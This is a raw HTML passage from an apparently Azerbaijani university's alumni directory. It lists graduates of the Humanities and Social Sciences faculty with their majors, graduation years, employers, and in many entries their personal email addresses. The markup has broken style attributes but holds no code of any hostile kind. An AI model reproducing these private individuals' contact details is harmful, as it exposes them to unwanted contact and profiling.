href=\"mailto:Miragha000@gamil.com\">Miragha000[at]gamil.com</a> &nbsp;</p>\r\n<p>Hərbi xidmətdə</p>\r\n<p><strong><br></strong></p><p><strong>Mubariz İsmayılov </strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Psixologiya, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Mubariz_350@mail.ru\">Mubariz_350[at]mail.ru</a> &nbsp;</p>\r\n<p>“Smart\r\nConstruction”, menecer</p>\r\n<p><strong><br></strong></p><p><strong>Maleykəxanım Cahangirli</strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>İngilis dili və ədəbiyyatı, 2017</p>\r\n<p>E-mail: <a href=\"mailto:jahangirova@outlook.com\">jahangirova[at]outlook.com</a></p>\r\n<p>Lənkəran Dövlət Universiteti, tyutor</p>\r\n<p><strong><br></strong></p><p><strong>Muhammad Dhany Afrihan</strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Beynəlxalq Münasibətlər və Diplomatiya,\r\n2017</p>\r\n<p>E-mail: <a href=\"mailto:dhany.afrihan@gmail.com\">dhany.afrihan[at]gmail.com</a> <strong></strong></p>\r\n<p>İndoneziyanın hərbi sənayesi</p>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><strong><br></strong></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><strong>Mehman</strong>&nbsp;Əbdüləzizov&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Politologiya</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:mehman.abdulazizov@mail.ru\">mehman.abdulazizov@mail.ru</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">2011</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Mətanət Oqtayzadə&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Tərcümə&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2010</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Məhərrəm Süleymanov&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Tərcümə&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2011&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Mahnur Həşimova</strong>&nbsp;&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Regionşünaslıq&nbsp;&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2012&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Mircavad Mustafazadə</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və sosial elmlər</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Jurnalistika</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hərbi xidmətdə</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:Miri.888@mail.ru\">Miri.888@mail.ru</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Məleykə Bayramova&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Ingilis dili və ədəbiyyat&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2011&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Murad Rəhimov</strong>&nbsp;&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Tərcümə&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2011</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Manana Paşayeva</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Hüquq və sosial elmlər, Beynəlxalq hüquq</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Manager at Ram ltd Logistics&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:mananapashayeva@gmail.com\">mananapashayeva@gmail.com</a>&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr&nbsp;2003&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Marina Lətifova&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Tərcümə&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Magistr&nbsp; 2012</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong></strong></p><h3 id=\"N\">N</h3><p><strong>Nəzrin Fətəli </strong> <br></p><p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Regionşünaslıq, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Nezrinfeteli@gmail.com\">Nezrinfeteli[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Nahid Səmədov</strong> </p><p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Politologiya, 2017</p>\r\n<p>E-mail: <a href=\"mailto:nahid.samadov@hotmail.com\">nahid.samadov[at]hotmail.com</a></p>\r\n<p>Hərbi xidmətdə</p>\r\n<p><strong><br></strong></p><p><strong>Nail Shukurov </strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Tərcümə, 2017</p>\r\n<p>E-mail: <a href=\"mailto:nail_shukurov@yahoo.com\">nail_shukurov[at]yahoo.com</a></p>\r\n<p>Varşava Maliyyə və Menecment\r\nUniversiteti</p>\r\n<p><strong><br></strong></p><p><strong>Nərgiz Ələkbərova </strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Tərcümə, 2017</p>\r\n<p>E-mail: <a href=\"mailto:alekperova.nargiz@mail.ru\">alekperova.nargiz[at]mail.ru</a></p>\r\n<p><strong><br></strong></p><p><strong>Nigar Hüseynova </strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Psixologiya, 2017</p>\r\n<p><strong><br></strong></p><p><strong>Nigar Fətizadə</strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Psixologiya, 2017</p>\r\n<p>E-mail: <a href=\"mailto:nfetizade@mail.ru\">nfetizade[at]mail.ru</a> &nbsp;</p>\r\n<p>Gonül&amp;Lale Correction\r\nand Reabilitation Centre, ofice meneceri</p>\r\n<p><strong><br></strong></p><p><strong>Nuranə Həmidova </strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Psixologiya, 2017</p>\r\n<p>E-mail: <a href=\"mailto:nurana.hamidova96@gmail.com\">nurana.hamidova96[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Nigar Eyvazova</strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Psixologiya, 2017</p>\r\n<p>E-mail: <a href=\"mailto:nigar96.ne@gmail.com\">nigar96.ne[at]gmail.com</a></p>\r\n<p>Uskudar Universiteti- Klinik psixologiya\\MA</p>\r\n<p><strong><br></strong></p><p><strong>Nuranə İsmayılova </strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Linqivistika, 2017</p>\r\n<p>E-mail: <a href=\"mailto:nuranaavazli@gmail.com\">nuranaavazli[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Nərgiz Ruhullazadə</strong> </p><p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>İngilis dili və ədəbiyyatı, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Nergizarif9@gmail.com\">Nergizarif9[at]gmail.com</a></p>\r\n<p>Caspian plaza&amp;Caspian Business\r\ncenter, menecer və ingilis dili müəllimi</p>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><br></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Nəsibə Abdullazadə</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Beynəlxalq Münasibətlər</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:&nbsp;<a href=\"mailto:Nasi-1994@live.ru\">Nasi-1994@live.ru</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Nicat Məmmədov</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Jurnalistika</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Naila Omarova</strong></p><p>Humanitar və sosial elmlər&nbsp;<br></p><p>Regionşünas</p><p>Azerbaycan Qizil Aypara Cemiyyeti (AzQAC), Beynelxalq Elaqaler sobesinin mudiri</p><p>E-mail:&nbsp;<a href=\"mailto:naila.omarova@yahoo.com\" target=\"_blank\">naila.omarova@yahoo.com</a></p><p><a href=\"mailto:naila.omarova@yahoo.com\" target=\"_blank\"></a>Bakalavr 2009</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><strong>Nicat</strong>&nbsp;Rüstəmov&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Politologiya</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Az-Granata MMC Direktor komekçisi</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:strabon89@mail.ru\">strabon89@mail.ru</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"mailto:strabon89@mail.ru\"></a>2012</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Nərmin Əliyeva</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Psixologiya</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Boshelf/HR</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:narminnaghibayli@gmail.com\">narminnaghibayli@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Nüşabə Məmmədli</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Psixologiya</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:mammadlinushaba@gmail.com\">mammadlinushaba@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Nəzrin Əmişova&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Jurnalistika&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr&nbsp;&nbsp;2011&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Nuranə Quliyeva&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Klinik Psixologiya&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Magistr&nbsp; 2014&nbsp;(Fərqlənmə&nbsp;)</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong><strong>Nailə&nbsp;</strong>Ömərova</strong><br></p><p>Humanitar və Sosial Elmlər fakultəsi,&nbsp;</p><p>Regionşünaslıq, 2005-2009.</p><p>Azərbaycan Qızıl Aypara Cəmiyyəti, Beynəlxalq Əlaqələr şöbəsinin müdiri, 2014-indiyədək&nbsp;</p><p>E-mail:&nbsp;<a href=\"mailto:naila.omarova@yahoo.com\">naila.omarova@yahoo.com</a></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Nərgiz Mirzəyeva&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Xarici Ölkələrin Ədəbiyyatı&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Magistr&nbsp; 2011&nbsp;(Fərqlənmə&nbsp;)&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Nigar Fərmanova</strong>&nbsp;&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">İngilis dili və ədəbiyyat&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr&nbsp;&nbsp;2012&nbsp;(Fərqlənmə)</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Nəsibə Tağıyeva&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Psixologiya&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr&nbsp;&nbsp;2012(Fərqlənmə)</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Nərmin Xanalızadə&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Psixologiya&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2012&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Nicat İsmayıl&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Regionşünaslıq&nbsp;&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2012&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Nərgiz Mayılova&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Tərcümə&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2012</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Nilufər Əlizadə&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Psixologiya&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr&nbsp;&nbsp;2012&nbsp;(Fərqlənmə)</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" 